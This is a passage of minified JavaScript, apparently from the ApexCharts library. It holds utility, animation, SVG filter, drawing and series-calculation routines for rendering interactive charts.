t%12}},{key:"clone",value:function(e){if(t.is("Array",e)){for(var a=[],s=0;s<e.length;s++)a[s]=this.clone(e[s]);return a}if(t.is("Null",e))return null;if(t.is("Date",e))return e;if("object"===i(e)){var r={};for(var o in e)e.hasOwnProperty(o)&&(r[o]=this.clone(e[o]));return r}return e}},{key:"log10",value:function(t){return Math.log(t)/Math.LN10}},{key:"roundToBase10",value:function(t){return Math.pow(10,Math.floor(Math.log10(t)))}},{key:"roundToBase",value:function(t,e){return Math.pow(e,Math.floor(Math.log(t)/Math.log(e)))}},{key:"parseNumber",value:function(t){return null===t?t:parseFloat(t)}},{key:"randomId",value:function(){return(Math.random()+1).toString(36).substring(4)}},{key:"noExponents",value:function(t){var e=String(t).split(/[eE]/);if(1===e.length)return e[0];var i="",a=t<0?"-":"",s=e[0].replace(".",""),r=Number(e[1])+1;if(r<0){for(i=a+"0.";r++;)i+="0";return i+s.replace(/^-/,"")}for(r-=s.length;r--;)i+="0";return s+i}},{key:"getDimensions",value:function(t){var e=getComputedStyle(t,null),i=t.clientHeight,a=t.clientWidth;return i-=parseFloat(e.paddingTop)+parseFloat(e.paddingBottom),[a-=parseFloat(e.paddingLeft)+parseFloat(e.paddingRight),i]}},{key:"getBoundingClientRect",value:function(t){var e=t.getBoundingClientRect();return{top:e.top,right:e.right,bottom:e.bottom,left:e.left,width:t.clientWidth,height:t.clientHeight,x:e.left,y:e.top}}},{key:"getLargestStringFromArr",value:function(t){return t.reduce((function(t,e){return Array.isArray(e)&&(e=e.reduce((function(t,e){return t.length>e.length?t:e}))),t.length>e.length?t:e}),0)}},{key:"hexToRgba",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"#999999",e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:.6;"#"!==t.substring(0,1)&&(t="#999999");var i=t.replace("#","");i=i.match(new RegExp("(.{"+i.length/3+"})","g"));for(var a=0;a<i.length;a++)i[a]=parseInt(1===i[a].length?i[a]+i[a]:i[a],16);return void 0!==e&&i.push(e),"rgba("+i.join(",")+")"}},{key:"getOpacityFromRGBA",value:function(t){return parseFloat(t.replace(/^.*,(.+)\)/,"$1"))}},{key:"rgb2hex",value:function(t){return(t=t.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i))&&4===t.length?"#"+("0"+parseInt(t[1],10).toString(16)).slice(-2)+("0"+parseInt(t[2],10).toString(16)).slice(-2)+("0"+parseInt(t[3],10).toString(16)).slice(-2):""}},{key:"isColorHex",value:function(t){return/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)|(^#[0-9A-F]{8}$)/i.test(t)}},{key:"getPolygonPos",value:function(t,e){for(var i=[],a=2*Math.PI/e,s=0;s<e;s++){var r={};r.x=t*Math.sin(s*a),r.y=-t*Math.cos(s*a),i.push(r)}return i}},{key:"polarToCartesian",value:function(t,e,i,a){var s=(a-90)*Math.PI/180;return{x:t+i*Math.cos(s),y:e+i*Math.sin(s)}}},{key:"escapeString",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"x",i=t.toString().slice();return i=i.replace(/[` ~!@#$%^&*()|+\=?;:'",.<>{}[\]\\/]/gi,e)}},{key:"negToZero",value:function(t){return t<0?0:t}},{key:"moveIndexInArray",value:function(t,e,i){if(i>=t.length)for(var a=i-t.length+1;a--;)t.push(void 0);return t.splice(i,0,t.splice(e,1)[0]),t}},{key:"extractNumber",value:function(t){return parseFloat(t.replace(/[^\d.]*/g,""))}},{key:"findAncestor",value:function(t,e){for(;(t=t.parentElement)&&!t.classList.contains(e););return t}},{key:"setELstyles",value:function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t.style.key=e[i])}},{key:"isNumber",value:function(t){return!isNaN(t)&&parseFloat(Number(t))===t&&!isNaN(parseInt(t,10))}},{key:"isFloat",value:function(t){return Number(t)===t&&t%1!=0}},{key:"isSafari",value:function(){return/^((?!chrome|android).)*safari/i.test(navigator.userAgent)}},{key:"isFirefox",value:function(){return navigator.userAgent.toLowerCase().indexOf("firefox")>-1}},{key:"isIE11",value:function(){if(-1!==window.navigator.userAgent.indexOf("MSIE")||window.navigator.appVersion.indexOf("Trident/")>-1)return!0}},{key:"isIE",value:function(){var t=window.navigator.userAgent,e=t.indexOf("MSIE ");if(e>0)return parseInt(t.substring(e+5,t.indexOf(".",e)),10);if(t.indexOf("Trident/")>0){var i=t.indexOf("rv:");return parseInt(t.substring(i+3,t.indexOf(".",i)),10)}var a=t.indexOf("Edge/");return a>0&&parseInt(t.substring(a+5,t.indexOf(".",a)),10)}}]),t}(),b=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.setEasingFunctions()}return r(t,[{key:"setEasingFunctions",value:function(){var t;if(!this.w.globals.easing){switch(this.w.config.chart.animations.easing){case"linear":t="-";break;case"easein":t="<";break;case"easeout":t=">";break;case"easeinout":default:t="<>";break;case"swing":t=function(t){var e=1.70158;return(t-=1)*t*((e+1)*t+e)+1};break;case"bounce":t=function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375};break;case"elastic":t=function(t){return t===!!t?t:Math.pow(2,-10*t)*Math.sin((t-.075)*(2*Math.PI)/.3)+1}}this.w.globals.easing=t}}},{key:"animateLine",value:function(t,e,i,a){t.attr(e).animate(a).attr(i)}},{key:"animateMarker",value:function(t,e,i,a,s,r){e||(e=0),t.attr({r:e,width:e,height:e}).animate(a,s).attr({r:i,width:i.width,height:i.height}).afterAll((function(){r()}))}},{key:"animateCircle",value:function(t,e,i,a,s){t.attr({r:e.r,cx:e.cx,cy:e.cy}).animate(a,s).attr({r:i.r,cx:i.cx,cy:i.cy})}},{key:"animateRect",value:function(t,e,i,a,s){t.attr(e).animate(a).attr(i).afterAll((function(){return s()}))}},{key:"animatePathsGradually",value:function(t){var e=t.el,i=t.realIndex,a=t.j,s=t.fill,r=t.pathFrom,o=t.pathTo,n=t.speed,l=t.delay,h=this.w,c=0;h.config.chart.animations.animateGradually.enabled&&(c=h.config.chart.animations.animateGradually.delay),h.config.chart.animations.dynamicAnimation.enabled&&h.globals.dataChanged&&"bar"!==h.config.chart.type&&(c=0),this.morphSVG(e,i,a,"line"!==h.config.chart.type||h.globals.comboCharts?s:"stroke",r,o,n,l*c)}},{key:"showDelayedElements",value:function(){this.w.globals.delayedElements.forEach((function(t){var e=t.el;e.classList.remove("apexcharts-element-hidden"),e.classList.add("apexcharts-hidden-element-shown")}))}},{key:"animationCompleted",value:function(t){var e=this.w;e.globals.animationEnded||(e.globals.animationEnded=!0,this.showDelayedElements(),"function"==typeof e.config.chart.events.animationEnd&&e.config.chart.events.animationEnd(this.ctx,{el:t,w:e}))}},{key:"morphSVG",value:function(t,e,i,a,s,r,o,n){var l=this,h=this.w;s||(s=t.attr("pathFrom")),r||(r=t.attr("pathTo"));var c=function(t){return"radar"===h.config.chart.type&&(o=1),"M 0 ".concat(h.globals.gridHeight)};(!s||s.indexOf("undefined")>-1||s.indexOf("NaN")>-1)&&(s=c()),(!r||r.indexOf("undefined")>-1||r.indexOf("NaN")>-1)&&(r=c()),h.globals.shouldAnimate||(o=1),t.plot(s).animate(1,h.globals.easing,n).plot(s).animate(o,h.globals.easing,n).plot(r).afterAll((function(){x.isNumber(i)?i===h.globals.series[h.globals.maxValsInArrayIndex].length-2&&h.globals.shouldAnimate&&l.animationCompleted(t):"none"!==a&&h.globals.shouldAnimate&&(!h.globals.comboCharts&&e===h.globals.series.length-1||h.globals.comboCharts)&&l.animationCompleted(t),l.showDelayedElements()}))}}]),t}(),v=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"getDefaultFilter",value:function(t,e){var i=this.w;t.unfilter(!0),(new window.SVG.Filter).size("120%","180%","-5%","-40%"),"none"!==i.config.states.normal.filter?this.applyFilter(t,e,i.config.states.normal.filter.type,i.config.states.normal.filter.value):i.config.chart.dropShadow.enabled&&this.dropShadow(t,i.config.chart.dropShadow,e)}},{key:"addNormalFilter",value:function(t,e){var i=this.w;i.config.chart.dropShadow.enabled&&!t.node.classList.contains("apexcharts-marker")&&this.dropShadow(t,i.config.chart.dropShadow,e)}},{key:"addLightenFilter",value:function(t,e,i){var a=this,s=this.w,r=i.intensity;t.unfilter(!0);new window.SVG.Filter;t.filter((function(t){var i=s.config.chart.dropShadow;(i.enabled?a.addShadow(t,e,i):t).componentTransfer({rgb:{type:"linear",slope:1.5,intercept:r}})})),t.filterer.node.setAttribute("filterUnits","userSpaceOnUse"),this._scaleFilterSize(t.filterer.node)}},{key:"addDarkenFilter",value:function(t,e,i){var a=this,s=this.w,r=i.intensity;t.unfilter(!0);new window.SVG.Filter;t.filter((function(t){var i=s.config.chart.dropShadow;(i.enabled?a.addShadow(t,e,i):t).componentTransfer({rgb:{type:"linear",slope:r}})})),t.filterer.node.setAttribute("filterUnits","userSpaceOnUse"),this._scaleFilterSize(t.filterer.node)}},{key:"applyFilter",value:function(t,e,i){var a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:.5;switch(i){case"none":this.addNormalFilter(t,e);break;case"lighten":this.addLightenFilter(t,e,{intensity:a});break;case"darken":this.addDarkenFilter(t,e,{intensity:a})}}},{key:"addShadow",value:function(t,e,i){var a=i.blur,s=i.top,r=i.left,o=i.color,n=i.opacity,l=t.flood(Array.isArray(o)?o[e]:o,n).composite(t.sourceAlpha,"in").offset(r,s).gaussianBlur(a).merge(t.source);return t.blend(t.source,l)}},{key:"dropShadow",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,a=e.top,s=e.left,r=e.blur,o=e.color,n=e.opacity,l=e.noUserSpaceOnUse,h=this.w;return t.unfilter(!0),x.isIE()&&"radialBar"===h.config.chart.type||(o=Array.isArray(o)?o[i]:o,t.filter((function(t){var e=null;e=x.isSafari()||x.isFirefox()||x.isIE()?t.flood(o,n).composite(t.sourceAlpha,"in").offset(s,a).gaussianBlur(r):t.flood(o,n).composite(t.sourceAlpha,"in").offset(s,a).gaussianBlur(r).merge(t.source),t.blend(t.source,e)})),l||t.filterer.node.setAttribute("filterUnits","userSpaceOnUse"),this._scaleFilterSize(t.filterer.node)),t}},{key:"setSelectionFilter",value:function(t,e,i){var a=this.w;if(void 0!==a.globals.selectedDataPoints[e]&&a.globals.selectedDataPoints[e].indexOf(i)>-1){t.node.setAttribute("selected",!0);var s=a.config.states.active.filter;"none"!==s&&this.applyFilter(t,e,s.type,s.value)}}},{key:"_scaleFilterSize",value:function(t){!function(e){for(var i in e)e.hasOwnProperty(i)&&t.setAttribute(i,e[i])}({width:"200%",height:"200%",x:"-50%",y:"-50%"})}}]),t}(),m=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"roundPathCorners",value:function(t,e){function i(t,e,i){var s=e.x-t.x,r=e.y-t.y,o=Math.sqrt(s*s+r*r);return a(t,e,Math.min(1,i/o))}function a(t,e,i){return{x:t.x+(e.x-t.x)*i,y:t.y+(e.y-t.y)*i}}function s(t,e){t.length>2&&(t[t.length-2]=e.x,t[t.length-1]=e.y)}function r(t){return{x:parseFloat(t[t.length-2]),y:parseFloat(t[t.length-1])}}t.indexOf("NaN")>-1&&(t="");var o=t.split(/[,\s]/).reduce((function(t,e){var i=e.match("([a-zA-Z])(.+)");return i?(t.push(i[1]),t.push(i[2])):t.push(e),t}),[]).reduce((function(t,e){return parseFloat(e)==e&&t.length?t[t.length-1].push(e):t.push([e]),t}),[]),n=[];if(o.length>1){var l=r(o[0]),h=null;"Z"==o[o.length-1][0]&&o[0].length>2&&(h=["L",l.x,l.y],o[o.length-1]=h),n.push(o[0]);for(var c=1;c<o.length;c++){var d=n[n.length-1],g=o[c],u=g==h?o[1]:o[c+1];if(u&&d&&d.length>2&&"L"==g[0]&&u.length>2&&"L"==u[0]){var p,f,x=r(d),b=r(g),v=r(u);p=i(b,x,e),f=i(b,v,e),s(g,p),g.origPoint=b,n.push(g);var m=a(p,b,.5),y=a(b,f,.5),w=["C",m.x,m.y,y.x,y.y,f.x,f.y];w.origPoint=b,n.push(w)}else n.push(g)}if(h){var k=r(n[n.length-1]);n.push(["Z"]),s(n[0],k)}}else n=o;return n.reduce((function(t,e){return t+e.join(" ")+" "}),"")}},{key:"drawLine",value:function(t,e,i,a){var s=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"#a8a8a8",r=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,o=arguments.length>6&&void 0!==arguments[6]?arguments[6]:null,n=arguments.length>7&&void 0!==arguments[7]?arguments[7]:"butt";return this.w.globals.dom.Paper.line().attr({x1:t,y1:e,x2:i,y2:a,stroke:s,"stroke-dasharray":r,"stroke-width":o,"stroke-linecap":n})}},{key:"drawRect",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,s=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,r=arguments.length>5&&void 0!==arguments[5]?arguments[5]:"#fefefe",o=arguments.length>6&&void 0!==arguments[6]?arguments[6]:1,n=arguments.length>7&&void 0!==arguments[7]?arguments[7]:null,l=arguments.length>8&&void 0!==arguments[8]?arguments[8]:null,h=arguments.length>9&&void 0!==arguments[9]?arguments[9]:0,c=this.w.globals.dom.Paper.rect();return c.attr({x:t,y:e,width:i>0?i:0,height:a>0?a:0,rx:s,ry:s,opacity:o,"stroke-width":null!==n?n:0,stroke:null!==l?l:"none","stroke-dasharray":h}),c.node.setAttribute("fill",r),c}},{key:"drawPolygon",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"#e1e1e1",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"none";return this.w.globals.dom.Paper.polygon(t).attr({fill:a,stroke:e,"stroke-width":i})}},{key:"drawCircle",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;t<0&&(t=0);var i=this.w.globals.dom.Paper.circle(2*t);return null!==e&&i.attr(e),i}},{key:"drawPath",value:function(t){var e=t.d,i=void 0===e?"":e,a=t.stroke,s=void 0===a?"#a8a8a8":a,r=t.strokeWidth,o=void 0===r?1:r,n=t.fill,l=t.fillOpacity,h=void 0===l?1:l,c=t.strokeOpacity,d=void 0===c?1:c,g=t.classes,u=t.strokeLinecap,p=void 0===u?null:u,f=t.strokeDashArray,x=void 0===f?0:f,b=this.w;return null===p&&(p=b.config.stroke.lineCap),(i.indexOf("undefined")>-1||i.indexOf("NaN")>-1)&&(i="M 0 ".concat(b.globals.gridHeight)),b.globals.dom.Paper.path(i).attr({fill:n,"fill-opacity":h,stroke:s,"stroke-opacity":d,"stroke-linecap":p,"stroke-width":o,"stroke-dasharray":x,class:g})}},{key:"group",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,e=this.w.globals.dom.Paper.group();return null!==t&&e.attr(t),e}},{key:"move",value:function(t,e){var i=["M",t,e].join(" ");return i}},{key:"line",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,a=null;return null===i?a=[" L",t,e].join(" "):"H"===i?a=[" H",t].join(" "):"V"===i&&(a=[" V",e].join(" ")),a}},{key:"curve",value:function(t,e,i,a,s,r){var o=["C",t,e,i,a,s,r].join(" ");return o}},{key:"quadraticCurve",value:function(t,e,i,a){return["Q",t,e,i,a].join(" ")}},{key:"arc",value:function(t,e,i,a,s,r,o){var n="A";arguments.length>7&&void 0!==arguments[7]&&arguments[7]&&(n="a");var l=[n,t,e,i,a,s,r,o].join(" ");return l}},{key:"renderPaths",value:function(t){var i,a=t.j,s=t.realIndex,r=t.pathFrom,o=t.pathTo,n=t.stroke,l=t.strokeWidth,h=t.strokeLinecap,c=t.fill,d=t.animationDelay,g=t.initialSpeed,u=t.dataChangeSpeed,p=t.className,f=t.shouldClipToGrid,x=void 0===f||f,m=t.bindEventsOnPaths,y=void 0===m||m,w=t.drawShadow,k=void 0===w||w,A=this.w,S=new v(this.ctx),C=new b(this.ctx),L=this.w.config.chart.animations.enabled,P=L&&this.w.config.chart.animations.dynamicAnimation.enabled,I=!!(L&&!A.globals.resized||P&&A.globals.dataChanged&&A.globals.shouldAnimate);I?i=r:(i=o,A.globals.animationEnded=!0);var T=A.config.stroke.dashArray,M=0;M=Array.isArray(T)?T[s]:A.config.stroke.dashArray;var X=this.drawPath({d:i,stroke:n,strokeWidth:l,fill:c,fillOpacity:1,classes:p,strokeLinecap:h,strokeDashArray:M});if(X.attr("index",s),x&&X.attr({"clip-path":"url(#gridRectMask".concat(A.globals.cuid,")")}),"none"!==A.config.states.normal.filter.type)S.getDefaultFilter(X,s);else if(A.config.chart.dropShadow.enabled&&k&&(!A.config.chart.dropShadow.enabledOnSeries||A.config.chart.dropShadow.enabledOnSeries&&-1!==A.config.chart.dropShadow.enabledOnSeries.indexOf(s))){var z=A.config.chart.dropShadow;S.dropShadow(X,z,s)}y&&(X.node.addEventListener("mouseenter",this.pathMouseEnter.bind(this,X)),X.node.addEventListener("mouseleave",this.pathMouseLeave.bind(this,X)),X.node.addEventListener("mousedown",this.pathMouseDown.bind(this,X))),X.attr({pathTo:o,pathFrom:r});var E={el:X,j:a,realIndex:s,pathFrom:r,pathTo:o,fill:c,strokeWidth:l,delay:d};return!L||A.globals.resized||A.globals.dataChanged?!A.globals.resized&&A.globals.dataChanged||C.showDelayedElements():C.animatePathsGradually(e(e({},E),{},{speed:g})),A.globals.dataChanged&&P&&I&&C.animatePathsGradually(e(e({},E),{},{speed:u})),X}},{key:"drawPattern",value:function(t,e,i){var a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"#a8a8a8",s=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0;return this.w.globals.dom.Paper.pattern(e,i,(function(r){"horizontalLines"===t?r.line(0,0,i,0).stroke({color:a,width:s+1}):"verticalLines"===t?r.line(0,0,0,e).stroke({color:a,width:s+1}):"slantedLines"===t?r.line(0,0,e,i).stroke({color:a,width:s}):"squares"===t?r.rect(e,i).fill("none").stroke({color:a,width:s}):"circles"===t&&r.circle(e).fill("none").stroke({color:a,width:s})}))}},{key:"drawGradient",value:function(t,e,i,a,s){var r,o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:null,n=arguments.length>6&&void 0!==arguments[6]?arguments[6]:null,l=arguments.length>7&&void 0!==arguments[7]?arguments[7]:null,h=arguments.length>8&&void 0!==arguments[8]?arguments[8]:0,c=this.w;e.length<9&&0===e.indexOf("#")&&(e=x.hexToRgba(e,a)),i.length<9&&0===i.indexOf("#")&&(i=x.hexToRgba(i,s));var d=0,g=1,u=1,p=null;null!==n&&(d=void 0!==n[0]?n[0]/100:0,g=void 0!==n[1]?n[1]/100:1,u=void 0!==n[2]?n[2]/100:1,p=void 0!==n[3]?n[3]/100:null);var f=!("donut"!==c.config.chart.type&&"pie"!==c.config.chart.type&&"polarArea"!==c.config.chart.type&&"bubble"!==c.config.chart.type);if(r=null===l||0===l.length?c.globals.dom.Paper.gradient(f?"radial":"linear",(function(t){t.at(d,e,a),t.at(g,i,s),t.at(u,i,s),null!==p&&t.at(p,e,a)})):c.globals.dom.Paper.gradient(f?"radial":"linear",(function(t){(Array.isArray(l[h])?l[h]:l).forEach((function(e){t.at(e.offset/100,e.color,e.opacity)}))})),f){var b=c.globals.gridWidth/2,v=c.globals.gridHeight/2;"bubble"!==c.config.chart.type?r.attr({gradientUnits:"userSpaceOnUse",cx:b,cy:v,r:o}):r.attr({cx:.5,cy:.5,r:.8,fx:.2,fy:.2})}else"vertical"===t?r.from(0,0).to(0,1):"diagonal"===t?r.from(0,0).to(1,1):"horizontal"===t?r.from(0,1).to(1,1):"diagonal2"===t&&r.from(1,0).to(0,1);return r}},{key:"getTextBasedOnMaxWidth",value:function(t){var e=t.text,i=t.maxWidth,a=t.fontSize,s=t.fontFamily,r=this.getTextRects(e,a,s),o=r.width/e.length,n=Math.floor(i/o);return i<r.width?e.slice(0,n-3)+"...":e}},{key:"drawText",value:function(t){var i=this,a=t.x,s=t.y,r=t.text,o=t.textAnchor,n=t.fontSize,l=t.fontFamily,h=t.fontWeight,c=t.foreColor,d=t.opacity,g=t.maxWidth,u=t.cssClass,p=void 0===u?"":u,f=t.isPlainText,x=void 0===f||f,b=this.w;void 0===r&&(r="");var v=r;o||(o="start"),c&&c.length||(c=b.config.chart.foreColor),l=l||b.config.chart.fontFamily,h=h||"regular";var m,y={maxWidth:g,fontSize:n=n||"11px",fontFamily:l};return Array.isArray(r)?m=b.globals.dom.Paper.text((function(t){for(var a=0;a<r.length;a++)v=r[a],g&&(v=i.getTextBasedOnMaxWidth(e({text:r[a]},y))),0===a?t.tspan(v):t.tspan(v).newLine()})):(g&&(v=this.getTextBasedOnMaxWidth(e({text:r},y))),m=x?b.globals.dom.Paper.plain(r):b.globals.dom.Paper.text((function(t){return t.tspan(v)}))),m.attr({x:a,y:s,"text-anchor":o,"dominant-baseline":"auto","font-size":n,"font-family":l,"font-weight":h,fill:c,class:"apexcharts-text "+p}),m.node.style.fontFamily=l,m.node.style.opacity=d,m}},{key:"drawMarker",value:function(t,e,i){t=t||0;var a=i.pSize||0,s=null;if("square"===i.shape||"rect"===i.shape){var r=void 0===i.pRadius?a/2:i.pRadius;null!==e&&a||(a=0,r=0);var o=1.2*a+r,n=this.drawRect(o,o,o,o,r);n.attr({x:t-o/2,y:e-o/2,cx:t,cy:e,class:i.class?i.class:"",fill:i.pointFillColor,"fill-opacity":i.pointFillOpacity?i.pointFillOpacity:1,stroke:i.pointStrokeColor,"stroke-width":i.pointStrokeWidth?i.pointStrokeWidth:0,"stroke-opacity":i.pointStrokeOpacity?i.pointStrokeOpacity:1}),s=n}else"circle"!==i.shape&&i.shape||(x.isNumber(e)||(a=0,e=0),s=this.drawCircle(a,{cx:t,cy:e,class:i.class?i.class:"",stroke:i.pointStrokeColor,fill:i.pointFillColor,"fill-opacity":i.pointFillOpacity?i.pointFillOpacity:1,"stroke-width":i.pointStrokeWidth?i.pointStrokeWidth:0,"stroke-opacity":i.pointStrokeOpacity?i.pointStrokeOpacity:1}));return s}},{key:"pathMouseEnter",value:function(t,e){var i=this.w,a=new v(this.ctx),s=parseInt(t.node.getAttribute("index"),10),r=parseInt(t.node.getAttribute("j"),10);if("function"==typeof i.config.chart.events.dataPointMouseEnter&&i.config.chart.events.dataPointMouseEnter(e,this.ctx,{seriesIndex:s,dataPointIndex:r,w:i}),this.ctx.events.fireEvent("dataPointMouseEnter",[e,this.ctx,{seriesIndex:s,dataPointIndex:r,w:i}]),("none"===i.config.states.active.filter.type||"true"!==t.node.getAttribute("selected"))&&"none"!==i.config.states.hover.filter.type&&!i.globals.isTouchDevice){var o=i.config.states.hover.filter;a.applyFilter(t,s,o.type,o.value)}}},{key:"pathMouseLeave",value:function(t,e){var i=this.w,a=new v(this.ctx),s=parseInt(t.node.getAttribute("index"),10),r=parseInt(t.node.getAttribute("j"),10);"function"==typeof i.config.chart.events.dataPointMouseLeave&&i.config.chart.events.dataPointMouseLeave(e,this.ctx,{seriesIndex:s,dataPointIndex:r,w:i}),this.ctx.events.fireEvent("dataPointMouseLeave",[e,this.ctx,{seriesIndex:s,dataPointIndex:r,w:i}]),"none"!==i.config.states.active.filter.type&&"true"===t.node.getAttribute("selected")||"none"!==i.config.states.hover.filter.type&&a.getDefaultFilter(t,s)}},{key:"pathMouseDown",value:function(t,e){var i=this.w,a=new v(this.ctx),s=parseInt(t.node.getAttribute("index"),10),r=parseInt(t.node.getAttribute("j"),10),o="false";if("true"===t.node.getAttribute("selected")){if(t.node.setAttribute("selected","false"),i.globals.selectedDataPoints[s].indexOf(r)>-1){var n=i.globals.selectedDataPoints[s].indexOf(r);i.globals.selectedDataPoints[s].splice(n,1)}}else{if(!i.config.states.active.allowMultipleDataPointsSelection&&i.globals.selectedDataPoints.length>0){i.globals.selectedDataPoints=[];var l=i.globals.dom.Paper.select(".apexcharts-series path").members,h=i.globals.dom.Paper.select(".apexcharts-series circle, .apexcharts-series rect").members,c=function(t){Array.prototype.forEach.call(t,(function(t){t.node.setAttribute("selected","false"),a.getDefaultFilter(t,s)}))};c(l),c(h)}t.node.setAttribute("selected","true"),o="true",void 0===i.globals.selectedDataPoints[s]&&(i.globals.selectedDataPoints[s]=[]),i.globals.selectedDataPoints[s].push(r)}if("true"===o){var d=i.config.states.active.filter;if("none"!==d)a.applyFilter(t,s,d.type,d.value);else if("none"!==i.config.states.hover.filter&&!i.globals.isTouchDevice){var g=i.config.states.hover.filter;a.applyFilter(t,s,g.type,g.value)}}else if("none"!==i.config.states.active.filter.type)if("none"===i.config.states.hover.filter.type||i.globals.isTouchDevice)a.getDefaultFilter(t,s);else{g=i.config.states.hover.filter;a.applyFilter(t,s,g.type,g.value)}"function"==typeof i.config.chart.events.dataPointSelection&&i.config.chart.events.dataPointSelection(e,this.ctx,{selectedDataPoints:i.globals.selectedDataPoints,seriesIndex:s,dataPointIndex:r,w:i}),e&&this.ctx.events.fireEvent("dataPointSelection",[e,this.ctx,{selectedDataPoints:i.globals.selectedDataPoints,seriesIndex:s,dataPointIndex:r,w:i}])}},{key:"rotateAroundCenter",value:function(t){var e={};return t&&"function"==typeof t.getBBox&&(e=t.getBBox()),{x:e.x+e.width/2,y:e.y+e.height/2}}},{key:"getTextRects",value:function(t,e,i,a){var s=!(arguments.length>4&&void 0!==arguments[4])||arguments[4],r=this.w,o=this.drawText({x:-200,y:-200,text:t,textAnchor:"start",fontSize:e,fontFamily:i,foreColor:"#fff",opacity:0});a&&o.attr("transform",a),r.globals.dom.Paper.add(o);var n=o.bbox();return s||(n=o.node.getBoundingClientRect()),o.remove(),{width:n.width,height:n.height}}},{key:"placeTextWithEllipsis",value:function(t,e,i){if("function"==typeof t.getComputedTextLength&&(t.textContent=e,e.length>0&&t.getComputedTextLength()>=i/1.1)){for(var a=e.length-3;a>0;a-=3)if(t.getSubStringLength(0,a)<=i/1.1)return void(t.textContent=e.substring(0,a)+"...");t.textContent="."}}}],[{key:"setAttrs",value:function(t,e){for(var i in e)e.hasOwnProperty(i)&&t.setAttribute(i,e[i])}}]),t}(),y=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"getStackedSeriesTotals",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=this.w,i=[];if(0===e.globals.series.length)return i;for(var a=0;a<e.globals.series[e.globals.maxValsInArrayIndex].length;a++){for(var s=0,r=0;r<e.globals.series.length;r++)void 0!==e.globals.series[r][a]&&-1===t.indexOf(r)&&(s+=e.globals.series[r][a]);i.push(s)}return i}},{key:"getSeriesTotalByIndex",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return null===t?this.w.config.series.reduce((function(t,e){return t+e}),0):this.w.globals.series[t].reduce((function(t,e){return t+e}),0)}},{key:"isSeriesNull",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return 0===(null===t?this.w.config.series.filter((function(t){return null!==t})):this.w.config.series[t].data.filter((function(t){return null!==t}))).length}},{key:"seriesHaveSameValues",value:function(t){return this.w.globals.series[t].every((function(t,e,i){return t===i[0]}))}},{key:"getCategoryLabels",value:function(t){var e=this.w,i=t.slice();return e.config.xaxis.convertedCatToNumeric&&(i=t.map((function(t,i){return e.config.xaxis.labels.formatter(t-e.globals.minX+1)}))),i}},{key:"getLargestSeries",value:function(){var t=this.w;t.globals.maxValsInArrayIndex=t.globals.series.map((function(t){return t.length})).indexOf(Math.max.apply(Math,t.globals.series.map((function(t){return t.length}))))}},{key:"getLargestMarkerSize",value:function(){var t=this.w,e=0;return t.globals.markers.size.forEach((function(t){e=Math.max(e,t)})),t.config.markers.discrete&&t.config.markers.discrete.length&&t.config.markers.discrete.forEach((function(t){e=Math.max(e,t.size)})),e>0&&(e+=t.config.markers.hover.sizeOffset+1),t.globals.markers.largestSize=e,e}},{key:"getSeriesTotals",value:function(){var t=this.w;t.globals.seriesTotals=t.globals.series.map((function(t,e){var i=0;if(Array.isArray(t))for(var a=0;a<t.length;a++)i+=t[a];else i+=t;return i}))}},{key:"getSeriesTotalsXRange",value:function(t,e){var i=this.w;return i.globals.series.map((function(a,s){for(var r=0,o=0;o<a.length;o++)i.globals.seriesX[s][o]>t&&i.globals.seriesX[s][o]<e&&(r+=a[o]);return r}))}},{key:"getPercentSeries",value:function(){var t=this.w;t.globals.seriesPercent=t.globals.series.map((function(e,i){var a=[];if(Array.isArray(e))for(var s=0;s<e.length;s++){var r=t.globals.stackedSeriesTotals[s],o=0;r&&(o=100*e[s]/r),a.push(o)}else{var n=100*e/t.globals.seriesTotals.reduce((function(t,e){return t+e}),0);a.push(n)}return a}))}},{key:"getCalculatedRatios",value:function(){var t,e,i,a,s=this.w.globals,r=[],o=0,n=[],l=.1,h=0;if(s.yRange=[],s.isMultipleYAxis)for(var c=0;c<s.minYArr.length;c++)s.yRange.push(Math.abs(s.minYArr[c]-s.maxYArr[c])),n.push(0);else s.yRange.push(Math.abs(s.minY-s.maxY));s.xRange=Math.abs(s.maxX-s.minX),s.zRange=Math.abs(s.maxZ-s.minZ);for(var 